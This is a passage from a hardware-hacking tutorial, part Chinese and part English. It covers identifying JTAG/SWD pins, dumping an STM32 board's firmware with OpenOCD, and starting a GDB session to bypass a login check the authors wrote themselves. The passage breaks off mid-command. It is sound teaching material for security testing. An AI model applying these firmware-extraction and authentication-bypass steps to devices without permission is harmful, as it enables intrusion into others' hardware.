边界扫描包括对四线测试访问端口(TAP)的测试,这是一种通用端口,用于访问内置于组件中的 JTAG 测试支持功能。它使用一个 16 级有限状态机,在各个状态之间移动。请注意,JTAG 并未定义任何关于芯片输入或输出数据的协议。
TAP 使用以下五个信号:
-
测试时钟输入(TCK) TCK 是定义 TAP 控制器每次执行一个操作(换句话说,即跳转到状态机中的下一个状态)频率的时钟。JTAG 标准并未规定时钟的速度,执行 JTAG 测试的设备可以自行确定。
-
测试模式选择(TMS)输入 TMS 控制有限状态机。在每个时钟脉冲上,设备的 JTAG TAP 控制器检查 TMS 引脚上的电压。如果电压低于某个阈值,则信号被认为是低电平并解释为 0;如果电压高于某个阈值,则信号被认为是高电平并解释为 1。
-
测试数据输入(TDI) TDI 是将数据通过扫描单元发送到芯片的引脚。每个供应商负责定义该引脚的通信协议,因为 JTAG 并未定义这一点。在 TDI 上呈现的信号会在 TCK 的上升沿进行采样。
-
测试数据输出(TDO) TDO 是将数据从芯片输出的引脚。根据标准,TDO 信号的状态变化应该仅在 TCK 的下降沿发生。
-
测试复位(TRST)输入 可选的 TRST 用于将有限状态机重置为已知的良好状态。当信号为低电平(0)时,TRST 有效。或者,如果 TMS 保持为 1 五个连续的时钟周期,也会触发复位,方式与 TRST 引脚相同,这就是为什么 TRST 是可选的原因。
SWD 的工作原理
SWD 是一个两引脚电气接口,工作方式与 JTAG 非常相似。JTAG 主要用于芯片和板卡测试,而 SWD 是为调试设计的 ARM 专用协议。由于 ARM 处理器在物联网世界中的广泛应用,SWD 变得越来越重要。如果你找到一个 SWD 接口,几乎总是可以完全控制该设备。
SWD 接口需要两个引脚:一个双向的SWDIO信号,相当于 JTAG 的 TDI 和 TDO 引脚,以及一个时钟SWCLK,它相当于 JTAG 中的 TCK。许多设备支持串行线或 JTAG 调试端口(SWJ-DP),这是一个结合了 JTAG 和 SWD 接口的接口,允许你将 SWD 或 JTAG 探头连接到目标设备。
与 JTAG 和 SWD 通信的硬件工具
多种工具使我们能够与 JTAG 和 SWD 进行通信。流行的工具包括 Bus Blaster FT2232H 芯片,以及任何带有 FT232H 芯片的工具,如 Adafruit FT232H 扩展板、Shikra 或 Attify Badge。如果你给 Bus Pirate 加载特殊固件,它也可以支持 JTAG,但我们不推荐使用这个功能,因为它可能不稳定。Black Magic Probe 是一个专门用于 JTAG 和 SWD 破解的工具,内置 GNU 调试器(GDB)支持,这一点很有用,因为你不需要像Open On-Chip Debugger (OpenOCD)这样的中介程序(在第 171 页的“安装 OpenOCD”中有讨论)。作为一个专业的调试工具,Segger J-Link Debug Probe支持 JTAG、SWD,甚至 SPI,并且附带专有软件。如果你只想与 SWD 通信,可以使用像ST-Link编程器这样的工具,我们将在本章后面的“通过 UART 和 SWD 破解设备”中使用它,详见第 168 页。
你可以在“物联网破解工具”中找到更多工具、它们的描述以及链接。
确定 JTAG 引脚
有时 PCB 上会有标记指示 JTAG 接口的位置(见图 7-6)。但大多数时候你需要手动确定接口位置,以及哪些引脚对应四个信号(TDI、TDO、TCK 和 TMS)。

图 7-6:有时 JTAG 接口会在 PCB 上明显标出,如在这个移动销售点(POS)设备中,甚至每个 JTAG 引脚(TMS、TDO、TDI、TCK)都有标签。
你可以采取多种方法来识别目标设备上的 JTAG 引脚。最快但最昂贵的检测 JTAG 端口的方法是使用 JTAGulator,这是一种专门为此目的创建的设备(尽管它也可以检测 UART 引脚)。如图 7-7 所示,这个工具有 24 个通道,你可以将其连接到板子的引脚。它通过对这些引脚执行 IDCODE 和 BYPASS 边界扫描命令来进行暴力枚举,尝试每一种引脚的排列,并等待响应。如果收到响应,它会显示每个 JTAG 信号对应的通道,从而帮助你识别 JTAG 引脚。

图 7-7:JTAGulator(www.grandideastudio.com/jtagulator/)可以帮助你识别目标设备上的 JTAG 引脚。
要使用 JTAGulator,将其通过 USB 电缆连接到计算机,然后通过串口与其通信(例如,使用 Linux 上的 screen 工具)。你将在本章后面的“连接 USB 到串口适配器”一节中看到如何通过串口进行接口操作,详见第 178 页。你可以在 www.youtube.com/watch?v=uVIsbXzQOIU/ 上观看 JTAGulator 的创作者 Joe Grand 的演示。
一种更便宜但速度较慢的识别 JTAG 引脚的方法是使用 JTAGenum 工具(github.com/cyphunk/JTAGenum/),该工具加载在一个兼容 Arduino 的微控制器上,比如 STM32F103 蓝黑色药丸设备,这些设备我们将在本章的“通过 UART 和 SWD 破解设备”一节(第 168 页)中进行攻击。使用 JTAGenum,你首先需要定义你用于枚举的探测设备的引脚。例如,对于 STM32 蓝药丸,我们选择了以下引脚(但你可以更改它们):
#elif defined(STM32) // STM32 bluepill,
byte pins[] = { 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17, 18 , 19 , 21 , 22 };
你需要参考设备的引脚图,然后将这些引脚与目标设备上的测试点连接。接着,你需要将 JTAGenum Arduino 代码(github.com/cyphunk/JTAGenum/blob/master/JTAGenum.ino/)刷入设备,并通过串口与设备通信(s命令将扫描 JTAG 组合)。
识别 JTAG 引脚的第三种方法是通过检查 PCB 上的引脚图(如图 7-8 所示)。在某些情况下,PCB 上可能会方便地提供 Tag-Connect 接口,这清楚地表明该板上也有 JTAG 连接器。你可以在 www.tag-connect.com/info/ 查看该接口的样子。此外,检查 PCB 上芯片的数据手册可能会揭示出指向 JTAG 接口的引脚图。

图 7-8:根据制造商(ARM、STMicroelectronics 或 Infineon 的 OCDS),在 PCB 上找到任何这些引脚接口都可以作为你正在处理 JTAG 连接器的良好指示。
通过 UART 和 SWD 破解设备
在本节中,我们将利用微控制器的 UART 和 SWD 接口来获取设备内存并绕过已闪存程序的认证例程。为了攻击设备,我们将使用两种工具:迷你 ST-Link 编程器和 USB 到串行适配器。
迷你 ST-Link 编程器(图 7-9)让我们通过 SWD 与目标设备进行交互。

图 7-9:迷你 ST-Link V2 编程器让我们通过 SWD 与 STM32 核心进行交互。
USB 到串行适配器(图 7-10)让我们通过计算机的 USB 端口与设备的 UART 引脚进行通信。该适配器是一个 晶体管-晶体管逻辑(TTL) 设备,意味着它使用 0 和 5 伏的电流分别表示 0 和 1。许多适配器使用 FT232R 芯片,你可以通过在线搜索 USB 到串行适配器轻松找到一个。

图 7-10:USB 到串行(TTL)适配器。此适配器还可以在 5V 和 3.3V 之间切换。
你需要至少十根 跳线 来通过引脚连接设备。我们还建议你购买一个 面包板,它是一个构建基座,可以用来稳固地固定黑色小药丸。你应该能在网上购买到这些硬件组件。我们特别选择这里使用的组件,因为它们易于找到且价格便宜。但如果你想要替代 ST-Link 编程器,可以使用 Bus Blaster,替代 USB 到串行适配器,可以使用 Bus Pirate。
对于软件,我们将使用 Arduino 编写我们要攻击的认证程序;我们将使用 OpenOCD 和 GDB 进行调试。以下章节将向你展示如何设置这个测试和调试环境。
STM32F103C8T6(黑色小药丸)目标设备
STM32F103xx 是一个非常受欢迎且廉价的微控制器系列,广泛应用于工业、医疗和消费市场。它拥有一个 72 MHz 频率的 ARM Cortex-M3 32 位 RISC 核心,最多 1MB 的闪存,最多 96KB 的静态随机存取存储器(SRAM),以及丰富的 I/O 和外设接口。
该设备有两个版本,分别称为蓝色药丸和黑色药丸(根据板子的颜色)。我们将使用黑色药丸(STM32F103C8T6)作为目标设备。两个版本的主要区别在于,黑色药丸比蓝色药丸消耗更少的能量且更坚固。你可以轻松在线购买它。我们建议购买已经预焊接引脚头并且已经烧录了 Arduino 启动加载程序的板子。这样,你就不需要焊接引脚头,并且可以直接通过 USB 使用该设备。但在本次练习中,我们将向你展示如何在没有 Arduino 启动加载程序的情况下,将程序加载到黑色药丸上。
图 7-11 显示了设备的引脚图。请注意,尽管一些引脚支持 5V 电压,其他的则不支持;因此,我们只能向这些引脚提供最多 3.3V 的电压。如果你有兴趣进一步了解 STM32 微控制器的内部结构,可以参考 legacy.cs.indiana.edu/~geobrown/book.pdf 上的优秀资料。
确保不要将任何 5V 输出连接到黑色药丸板的 3.3V 引脚,否则你很可能会烧毁它们。

图 7-11:STM32F103C8T6(黑色药丸)引脚图
设置调试环境
我们将首先使用 Arduino 集成开发环境(IDE) 对目标设备进行编程。Arduino 是一个廉价、易于使用的开源电子平台,让你能够使用 Arduino 编程语言编程微控制器。其 IDE 包含一个代码编辑器用于编写代码;一个板子和库管理器;内建的功能来验证、编译和上传代码到 Arduino 板;以及一个串口监视器,用于显示硬件的输出。
安装 Arduino 环境
你可以在 www.arduino.cc/en/Main/Software/ 获取 Arduino IDE 的最新版本。对于本演示,我们将使用 Ubuntu 18.04.3 LTS 上的 1.8.9 版本,但你使用的操作系统不会影响安装。在 Linux 上,你可以手动下载包并按照 www.arduino.cc/en/guide/linux/ 上的说明操作。或者,如果你使用的是基于 Debian 的发行版,如 Kali 或 Ubuntu,你可以在终端输入以下命令来安装所有所需的工具:
# apt-get install arduino
安装 IDE 后,从 GitHub 下载最新的 Arduino STM32 核心文件,将其安装到 Arduino 草图目录中的hardware文件夹,并运行 udev rules 安装脚本。
$ **wget https://github.com/rogerclarkmelbourne/Arduino_STM32/archive/master.zip**
$ **unzip master.zip**
$ **cp -r Arduino_STM32-master /home/***ithilgore***/Arduino/hardware/**
$ **cd /home/***ithilgore***/Arduino/hardware/Arduino_STM 32-master/tools/linux**
$ **./install.sh**
确保将 /home/ 后的用户名替换为你自己的用户名。
如果hardware文件夹不存在,创建它。要查找 Arduino 草图保存的位置,运行 Arduino IDE,方法是终端输入arduino或点击桌面上的 Arduino 图标。然后点击文件▶首选项,并记下草图位置的文件路径。在这个示例中,路径是/home/
你还需要安装 32 位版本的libusb-1.0,如下所示,因为 Arduino STM32 捆绑的st-link工具依赖于它:
$ **sudo apt-get install libusb-1.0-0:i386**
此外,安装 Arduino SAM 板(Cortex-M3)。这些是 Cortex-M3 微控制器的核心。核心是低级 API,使特定的微控制器与 Arduino IDE 兼容。你可以通过在 Arduino IDE 中点击工具▶开发板▶开发板管理器来安装它们。然后搜索SAM 板。点击安装,选择应该出现的Arduino SAM Boards (32-bit ARM Cortex-M3)选项。我们使用的是版本 1.6.12\。
你还可以在github.com/rogerclarkmelbourne/Arduino_STM32/wiki/Installation/找到最新的 Arduino STM32 安装说明。
安装 OpenOCD
OpenOCD是一个免费的开源测试工具,通过 GDB 提供对 ARM、MIPS 和 RISC-V 系统的 JTAG 和 SWD 访问。我们将使用它来调试黑色药丸。在 Linux 系统中安装它,可以输入以下命令:
$ **sudo apt-get install libtool autoconf texinfo libusb-dev libftdi-dev libusb-1.0**
$ **git clone git://git.code.sf.net/p/openocd/code openocd**
$ **cd openocd**
$ **./bootstrap**
$ **./configure --enable-maintainer-mode --disable-werror --enable-buspirate --enable-ftdi**
$ **make**
$ **sudo make install**
请注意,你还需要安装libusb-1.0,它是启用对 Future Technology Devices International (FTDI)设备支持的必要工具。然后从源代码编译 OpenOCD。这使我们能够启用对 FTDI 设备和 Bus Pirate 工具的支持。
要了解更多关于 OpenOCD 的信息,请查阅它的详细用户手册,网址是openocd.org/doc/html/index.html。
安装 GNU 调试器
GDB是一个便携式调试器,运行在类 Unix 系统上。它支持许多目标处理器和编程语言。我们将使用 GDB 远程跟踪和修改目标程序的执行。
在 Ubuntu 上,你需要安装原版的gdb和gdb-multiarch,后者扩展了 GDB 对多种目标架构的支持,包括 ARM(黑色药丸的架构)。你可以通过在终端中输入以下命令来安装:
$ **sudo apt install gdb gdb-multiarch**
在 Arduino 中编写目标程序
现在我们将编写一个程序,在 Arduino 中将其加载到黑色药丸(black pill)并以此作为攻击目标。在实际测试中,你可能无法访问设备的源代码,但我们展示这个代码有两个目的。首先,你将了解 Arduino 代码是如何转换为二进制文件并上传到设备上的。其次,当我们使用 OpenOCD 和 GDB 进行调试时,你将看到汇编代码与原始源代码之间的对应关系。
该程序(列表 7-1)使用串行接口发送和接收数据。它通过检查密码来模拟身份验证过程。如果它收到正确的密码,它将打印 ACCESS GRANTED。否则,它会继续提示用户登录。
const byte bufsiz = 32; 1
char buf[bufsiz];
boolean new_data = false;
boolean start = true;
void setup() { 2
delay(3000);
Serial1.begin(9600);
}
void loop() { 3
if (start == true) {
Serial1.print("Login: ");
start = false;
}
recv_data();
if (new_data == true)
validate();
}
void recv_data() { 4
static byte i = 0;
static char last_char;
char end1 = '\n';
char end2 = '\r';
char rc;
while (Serial1.available() > 0 && new_data == false) { 5
rc = Serial1.read();
// skip next character if previous one was \r or \n and this one is \r or \n
if ((rc == end1 || rc == end2) && (last_char == end2 || last_char == end1)) 6
return;
last_char = rc;
if (rc != end1 && rc != end2) { 7
buf[i++] = rc;
if (i >= bufsiz)
i = bufsiz - 1;
} else { 8
buf[i] = '\0'; // terminate the string
i = 0;
new_data = true;
}
}
}
void validate() { 9
Serial1.println(buf);
new_data = false;
if (strcmp(buf, "sock-raw.org") == 0) a
Serial1.println("ACCESS GRANTED");
else {
Serial1.println("Access Denied.");
Serial1.print("Login: ");
}
}
列表 7-1:用于 STM32F103 芯片的串行通信程序
我们首先定义了四个全局变量。1. bufsiz 变量保存字符数组 buf 的字节数,buf 存储通过串口从用户或与该端口交互的设备传输的字节。new_data 变量是一个布尔值,每当主程序循环接收到一行新的串行数据时,它变为 true。布尔变量 start 只有在主循环的第一次迭代时才为 true,因此它会打印第一次的“登录”提示。
The `setup()` function 2 is a built-in Arduino function that gets executed once when the program initializes. Inside this function, we initialize the serial interface (`Serial1.begin`) with``a baud rate of 9600 bits per second. Note that `Serial1` is different from `Serial`, `Serial2`, and `Serial3`, each of which corresponds to different UART pins on the black pill. The object `Serial1` corresponds to pins A9 and A10\.`` ````````` The `loop()` function 3 is another built-in Arduino function that gets called automatically after `setup()`, looping consecutively and executing the main program. It continuously calls `recv_data()`, which is responsible for receiving and validating serial data. When the program has finished receiving all bytes (which happens when `new_data` becomes `true`), `loop()` calls `validate()`, which checks whether the received bytes constitute the correct passphrase. The `recv_data()` function 4 begins by defining two *static* variables (which means their value will be retained between every call of this function): `i` for iterating through the `buf` array and `last_char` for storing the last character we read from the serial port. The `while` loop 5 checks whether there are any bytes available for reading from the serial port (through `Serial1.available`), reads the next available byte with `Serial1.read`,``and checks whether the previously stored character (which is held in `last_char`) is a carriage return `‘\r’` or new line `‘\n’` 6. It does that so it can deal with devices that send a carriage return, new line, or both to terminate their lines when they send serial data. If the next byte doesn’t indicate the end of the line 7, we store the newly read byte `rc` in `buf` and increment the `i` counter by one. If `i` reaches the end of the buffer length, the program no longer stores any new bytes in the buffer. If the read byte signifies the end of the line 8, meaning the user on the serial interface most likely pressed ENTER, we null terminate the string in the array, reset the `i` counter, and set `new_data` to `true`.`` ```````` In that case, we call the `validate()` function 9, which prints the received line and compares it with the correct password a. If the password is correct, it prints `ACCESS GRANTED`. Otherwise, it prints `Access Denied` and prompts the user to try logging in again. ### Flashing and Running the Arduino Program Now upload the Arduino program to the black pill. This process varies slightly depending on whether or not you purchased the black pill with the Arduino bootloader preflashed, but we’ll walk through both methods. You could also upload the program using a third method: a serial adapter, which allows you to flash your own bootloader (such as [`github.com/rogerclarkmelbourne/STM32duino-bootloader/`](https://github.com/rogerclarkmelbourne/STM32duino-bootloader/)), but we won’t cover this process here; you’ll find multiple resources online for doing this. Either way, we’ll use the ST-Link programmer and write the program to the main flash memory. Alternatively, you could write it to the embedded SRAM if you encounter any problems with writing it to flash. The main problem with that approach is that you’ll have to reupload the Arduino program every time you power cycle the device, because the SRAM content is volatile, which means it gets lost every time you power off the device. #### Selecting the Boot Mode To make sure you upload the program to the black pill’s flash memory, you’ll have to select the correct boot mode. STM32F10*xxx* devices have three different boot modes, which you can choose from using the *BOOT1* and *BOOT0* pins, as shown in Table 7-1. Reference the pinout diagram in Figure 7-11 to locate these two pins on the black pill. Table 7-1: Boot Modes for the Black Pill and Other STM32F10*xxx* Microcontrollers | **Boot mode selection pins** | **Boot mode** | **Aliasing** | | --- | --- | --- | | BOOT1 | BOOT0 | | | | x | 0 | Main flash memory | Selects the main flash memory as the boot space | | 0 | 1 | System memory | Selects the system memory as the boot space | | 1 | 1 | Embedded SRAM | Selects the embedded SRAM as the boot space | Use the jumper pin that comes with the black pill to select the boot mode. A *jumper pin* is a set of small pins in a plastic box that creates an electrical connection between two pin headers (Figure 7-12). You can use the jumper pin to connect the boot mode selection pins to VDD (logical 1) or GND (logical 0).  Figure 7-12: A jumper pin, also known as a jumper shunt or shunt Connect the jumper pin for both BOOT0 and BOOT1 of the black pill to the GND. If you wanted to write to SRAM, you would connect both to VDD. #### Uploading the Program To upload the program, first, make sure the jumpers for BOOT0 and BOOT1 are connected to the GND. Create a new file in the Arduino IDE, copy and paste the code from Listing 7-1 into it, and then save the file. We used the name *serial-simple*. Click **Tools**▶**Board** and select **Generic STM32F103C series** in the **STM32F1 Boards** section. Next, click **Tools**▶**Variant** and select **STM32F103C8 (20k RAM, 64k Flash)**, which should be the default option. Check that **Tools**▶**Upload method** is set to **STLink** and, ideally, that **Optimize** is set to **Debug (-g)**.This ensures that debug symbols appear in the final binary. Leave the rest of the options as-is. If the black pill has the Arduino bootloader flashed, you can directly connect it to your computer via the USB cable without the ST-Link programmer. Then set the **Upload** method to **STM32duino bootloader** instead of **STLink**. But for learning purposes, we’ll use the ST-Link programmer, so you don’t need the bootloader preflashed. To upload the program to the black pill, connect the ST-Link programmer to it. Use four jumper wires to link the SWCLK, SWDIO, GND, and 3.3 V pins of the ST-Link to the CLK, DIO, GND, 3.3 V pins of the black pill, respectively. These pins are located on the bottom part of the black pill’s pin header. Reference Figure 7-14 and Figure 7-15 to see what this looks like. #### Using a Logic Analyzer to Identify the UART Pins Next, identify the UART pins on the device. We showed you how to do this with a multimeter earlier in this chapter, but now we’ll use a logic analyzer to identify a UART TX pin. A TX pin transmits output, so it’s easy to recognize. You can use an inexpensive HiLetgo USB logic analyzer with eight channels for this exercise, because it’s compatible with the Saleae Logic software we’ll use. Download that software for your operating system from [`saleae.com/downloads/`](https://saleae.com/downloads/). (We used the Linux version in this example.) Then unzip the bundle to a local folder, browse to it in a terminal, and enter the following: ``` $ **sudo ./Logic** ``` This command will open Saleae Logic’s graphic interface. Leave it open for now. Make sure any system you’re testing is powered off when you connect the logic analyzer’s probes to it to avoid short-circuiting. In this case, because the black pill is powered by the ST-Link programmer, temporarily disconnect the programmer from your computer’s USB port. Remember that if you power off the black pill after uploading the Arduino code to the SRAM instead of the flash, you’ll have to reupload the code to the black pill. Use a jumper wire to connect one of your logic analyzer’s GND pins to one of the black pill’s GND pins so they share a common ground. Next, use two more jumper wires to connect the logic analyzer’s CH0and CH1 channels (all channel pins should be labeled) to the black pill’s A9 and A10 pins. Connect the logic analyzer to a USB port on your computer. In the Saleae interface, you should see at least a couple of channels in the left pane, each of which corresponds to one of the logic analyzer’s channel pins. You can always add more channels, if your logic analyzer supports them, so you can sample more pins at the same time. Add them by clicking the two arrows next to the green Start button to open the settings. You can then select how many channels you want to display by toggling the number next to each channel. In the settings, change the **Speed (Sample Rate)** to 50 kS/s and the **Duration** to 20 seconds. As a rule, you should sample digital signals at least four times faster than their bandwidth. With serial communications, which are generally very slow, a 50 kS/s sampling rate is more than enough, although sampling faster than this does no harm. As for the duration, 20 seconds is enough time for the device to power on and start transmitting data. Click the **Start** button to begin capturing the signals and immediately power on the black pill by connecting the ST-Link programmer to a USB port. The session will last for 20 seconds, but you can stop it at any time before then. If you don’t see any data on the channels, try power cycling the black pill while the session is on. At some point, you should see a signal coming from the channel corresponding to the A9 (TX) pin. Zoom in or out using your mouse wheel to inspect it more clearly. To decode the data, click the **+** beside **Analyzers** in the Graphical User Interface (GUI)’s right pane, select **Async Serial**, choose the channel on which you’re reading the signal, and set the **Bit Rate** to 9600\. (The bit rate in this case is the same as the baud rate.) Note that when you don’t know the bit rate, you can select **Use Autobaud** and let the software work its magic to detect the right one. You should now see the `Login:` prompt from the Arduino program as a series of UART packets in the signal you just captured (Figure 7-13).  Figure 7-13: Decoding the UART data coming from the black pill’s TX pin using the Saleae Logic software. In the bottom right, you can see the `Login:` prompt that the Arduino program runs when the device boots. Notice in Figure 7-13 how the device sends the letter “L,” which indicates the beginning of the login message. The communication starts with an idle line (at a logical 1 value). The black pill then sends a start bit with a logical 0 value, followed by the data bits, from least to most significant. In ASCII, the letter L is 0x4C, or 00110010 in binary, as you can see in the transmission. Finally, the black pill sends a stop bit (with a logical 1 value), before beginning the letter “o.” We placed two timing markers (A1 and A2 in Figure 7-13) on either side of one random bit. *Timing markers* are annotations that you can use to measure the time elapsed between any two locations in your data. We measured a duration of 100 μs, which proves that the transmission has a baud rate of 9600 bits/sec. (One bit takes 1/9600 seconds to transmit, or 0.000104 seconds, which is roughly 100 μs.) #### Connecting the USB to a Serial Adapter To test the USB-to-serial adapter, let’s connect it to our computer. Some USB-to-serial adapters, including the one we used, come with a jumper pin preinstalled on the RX and TX pins (Figure 7-12). The jumper pin will short-circuit the RX and TX pin headers, creating a loop between them. This is useful for testing that the adapter works: connect it to your computer’s USB port and then open a terminal emulator program, such as `screen` or `minicom`, to that port. Try using the terminal emulator to send serial data to the connected devices. If you see the keystrokes echoed in the terminal, you know the adapter works. The reason is that your keyboard sends characters through the USB port to the adapter’s TX pin; because of the jumper, the characters get sent to the RX pin and then returned to the computer through the USB port. Plug the adapter into your computer with the jumper pin in place, and then enter the following command to see which device file descriptor it was assigned to: ``` $ **sudo dmesg** … usb 1-2.1: FTDI USB Serial Device converter now attached to ttyUSB0 ``` Typically, it will be assigned to */dev/ttyUSB0* if you don’t have any other peripheral devices attached. Then start `screen` and pass it the file descriptor as an argument: ``` $ **screen /dev/ttyUSB0** ``` To exit the screen session, press CTRL-A followed by **\**. You can also provide the baud rate as a second argument. To find the current baud rate of the adapter, enter the following: ``` $ **stty -F /dev/ttyUSB0** speed 9600 baud; line =0; … ``` This output shows that the adapter has a baud speed of 9600\. Verify that the adapter is working and then remove the jumper pin, because we’ll need to connect the RX and TX pins to the black pill. Figure 7-14 shows the connections you have to make. Connect the adapter’s RX pin to a TX pin on the black pill (pin A9, in this case). Then connect the adapter’s TX pin to the black pill’s RX pin (A10). Using A9 and A10 is important, because these pins correspond to the `Serial1` interface we used in the Arduino code. The USB-to-serial adapter must have the same GND as the black pill, because the devices use GND as a point of reference for voltage levels. The Clear to Send (CTS) pin should be set to GND as well, because it’s considered active when low (meaning at a logic level of 0). If it weren’t connected to GND, it would float high, indicating that the adapter isn’t clear to send bytes to the black pill.  Figure 7-14: Pin connections between the black pill, ST-Link, USB-to-serial adapter, and laptop #### Connecting to a Computer Once you’ve connected the black pill, ST-Link, and USB-to-serial adapter, connect the ST-Link to a USB port on your computer. Then connect the adapter to a USB port. Figure 7-15 shows an example setup. Now that the setup is ready, return to the Arduino IDE. Enable verbose output by clicking **File**▶**Preferences** and selecting the **Show verbose output during: compilation** checkbox. Then click **Sketch**▶**Upload** to compile the program and upload it to the black pill.  Figure 7-15: The black pill, ST-Link programmer, and USB-to-serial adapter are connected using jumper wires. Note that the black pill isn’t connected to any USB port; the ST-Link programmer powers it. Because we enabled verbose output in the Arduino IDE, compiling and uploading the program should give you a lot of information about the process, including a temporary directory that stores the intermediate files necessary for compilation (Figure 7-16).  Figure 7-16: Verbose output from Arduino IDE when compiling and uploading the program. Highlighted is the temporary directory you’ll need. On Linux, this directory typically looks like */tmp/arduino_build_336697*, where the last number is a random identifier (yours will obviously be different) that changes with new builds. When you compile your program, take note of this directory, because you’ll need it later. At this point, open the serial monitor console by clicking **Tools**▶**Serial Monitor**. The *Serial Monitor* is a pop-up window that can send and receive UART data to and from the black pill. It has similar functionality to `screen`, used earlier, but it’s built into the Arduino IDE for convenience. Click **Tools**▶**Port** to make sure you’ve selected the USB port to which your USB-to-serial adapter is connected. Check that the Serial Monitor’s baud rate is 9600, like we specified in the code. You should then see the `Login:` prompt from our Arduino program. Enter some sample text to test the program. Figure 7-17 shows a sample session. If you enter anything other than `sock-raw.org`, you should get the `Access Denied` message. Otherwise, you should get the `ACCESS GRANTED` message.  Figure 7-17: The Serial Monitor pop-up window in the Arduino IDE ### Debugging the Target Now it’s time for the main exercise: debugging and hacking the black pill. If you followed all of the previous steps, you should have a fully working debugging environment and the black pill should contain the Arduino program we wrote. We’ll use OpenOCD to communicate with the black pill using SWD through the ST-Link programmer. We’ll leverage that connection to open a remote debugging session with GDB. Then, using GDB, we’ll walk through the program’s instructions and bypass its authentication check. #### Running an OpenOCD Server We’ll start OpenOCD as a server. We need OpenOCD to communicate with the black pill through SWD. To run it against the black pill’s STM32F103 core using the ST-Link, we have to specify the two relevant configuration files using the `-f` switch: ``` $ **sudo openocd -f /usr/local/share/openocd/scripts/interface/stlink.cfg -f /usr/local/share/openocd/scripts/targets/stm32f1x.cfg** [sudo] password for ithilgore: Open On-Chip Debugger 0.10.0+dev-00936-g0a13ca1a (2019-10-06-12:35) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'. Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections Info : clock speed 1000 kHz Info : STLINK V2J31S7 (API v2) VID:PID 0483:3748 Info : Target voltage: 3.218073 Info : stm32f1x.cpu: hardware has 6 breakpoints, 4 watchpoints Info : Listening on port 3333 for gdb connections ``` These configuration files help OpenOCD understand how to interact with the devices using JTAG and SWD. If you installed OpenOCD from source, as described earlier, these configuration files should be in */usr/local/share/openocd*. When you run the command, OpenOCD will start accepting local Telnet connections on TCP port 4444 and GDB connections on TCP port 3333. At this point, we’ll connect to the OpenOCD session with Telnet and begin issuing some commands to the black pill over SWD. In another terminal, enter the following: ``` $ **telnet localhost 4444** Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Open On-Chip Debugger > 1**reset init** target halted due to debug-request, current mode: Thread xPSR: 0x01000000 pc: 0x08000538 msp: 0x20005000 > 2**halt** > 3**flash banks** #0 : stm32f1x.flash (stm32f1x) at 0x08000000, size 0x00000000, buswidth 0, chipwidth 0 > 4**mdw 0x08000000 0x20** 0x08000000: 20005000 08000539 080009b1 080009b5 080009b9 080009bd 080009c1 08000e15 0x08000020: 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000e35 0x08000040: 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000a11 08000a35 0x08000060: 08000a59 08000a7d 08000aa1 080008f1 08000909 08000921 0800093d 08000959 > 5**dump_image firmware-serial.bin 0x08000000 17812** dumped 17812 bytes in 0.283650s (61.971 KiB/s) ``` The `reset init` command 1 halts the target and performs a hard reset, executing the *reset-init* script that is associated with the target device. This script is an event handler that performs tasks like setting up clocks and JTAG clock rates. You can find examples of these handlers if you inspect the *openocd/scripts/targets/*``` directory’s *.cfg* files. The `halt` command 2 sends a halt request for the target to halt and enter debug mode. The `flash banks` command 3 prints a one-line summary of each flash memory area that was specified in the OpenOCD *.cfg* file (in this case, *stm32f1x.cfg*). It printed the black pill’s main flash memory, which starts at the address `0x08000000`.`` This step is important, because it can help you identify which segment of memory to dump firmware from.`Note that sometimes the size value isn’t reported correctly. Consulting the datasheets remains the best resource for this step.` `` ``` ``````` `````` ````` We then send the 32-bit memory access command `mdw` 4, starting at that address, to read and display the first 32 bytes of flash memory. Finally, we dump the target’s memory from that address for `17812` bytes and save it into a file named *firmware-serial.bin* in our computer’s local directory 5. We got the number 17812 by inspecting the size of the Arduino program file loaded in the flash memory. To do this, issue the following command from the temporary Arduino build directory: ``` /tmp/arduino_build_336697 $ **stat -c '%s' serial-simple.ino.bin** 17812 ``` You can then use tools like colordiff and xxd to see whether there are any differences between the *firmware-serial.bin* file that we dumped from the flash memory and the *serial-simple.ino.bin* file that we uploaded through the Arduino IDE. If you dumped the exact number of bytes as the size of the Arduino program, there should be no differences in the output of `colordiff`: ``` $ **sudo apt install colordiff xxd** $ **colordiff -y <(xxd serial-simple.ino.bin) <(xxd firmware-serial.bin) | less** ``` We recommend you experiment with more OpenOCD commands; they’re all documented on its website. One useful command to try is the following: ``` `` > `flash write_image erase custom_firmware.bin 0x08000000` `` ``` You can use it to flash new firmware. #### Debugging with GDB Let’s debug and alter the execution flow of the Arduino program using GDB. With the OpenOCD server already running, we can start a remote GDB session. To help us, we’ll use the *Executable and Linkable Format (ELF)* file created during the Arduino program compilation. The ELF file format is the standard file format for executable files, object code, shared libraries, and core dumps in Unix-like systems. In this case, it acts as an intermediate file during compilation. Browse to the temporary directory returned during compilation. Make sure you change the random number part of the directory name to the one that you got from your own Arduino compilation. Then, assuming your Arduino program was named *serial-simple,* start a remote GDB session using `gdb-multiarch` with the arguments shown here: ``` $ **cd /tmp/arduino_build_336697/** $ **gdb-multiarch** **-q** **--eval-command="target remote localhost:3333" serial-simple.ino.elf** Reading symbols from serial-simple.ino.elf...done. Remote debugging using localhost:3333 0x08000232 in loop () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:15 15 if (start == true) { (gdb) ``` This command will open the GDB session and use the local ELF binary file (called *serial-simple.ino.elf*) created by Arduino during compilation for debug symbols. *Debug symbols* are primitive data types that allow debuggers to gain access to information, such as variables and function names, from the binary’s source code. In that terminal, you can now issue GDB commands. Start by entering the `info functions` command to verify that the symbols have indeed been loaded: ``` (gdb) **info functions** All defined functions: File /home/ithilgore/Arduino/hardware/Arduino_STM32-master/STM32F1/cores/maple/HardwareSerial.cpp: HardwareSerial *HardwareSerial::HardwareSerial(usart_dev*, unsigned char, unsigned char); int HardwareSerial::available(); … File /home/ithilgore/Arduino/serial-simple/serial-simple.ino: void loop(); void recv_data(); void setup(); void validate(); … ``` Now let’s place a breakpoint on the `validate()` function, because the name implies that it does some sort of checking, which might be related to authentication. ``` (gdb) **b****reak** **validate** Breakpoint 1 at 0x800015c: file /home/ithilgore/Arduino/serial-simple/serial-simple.ino, line 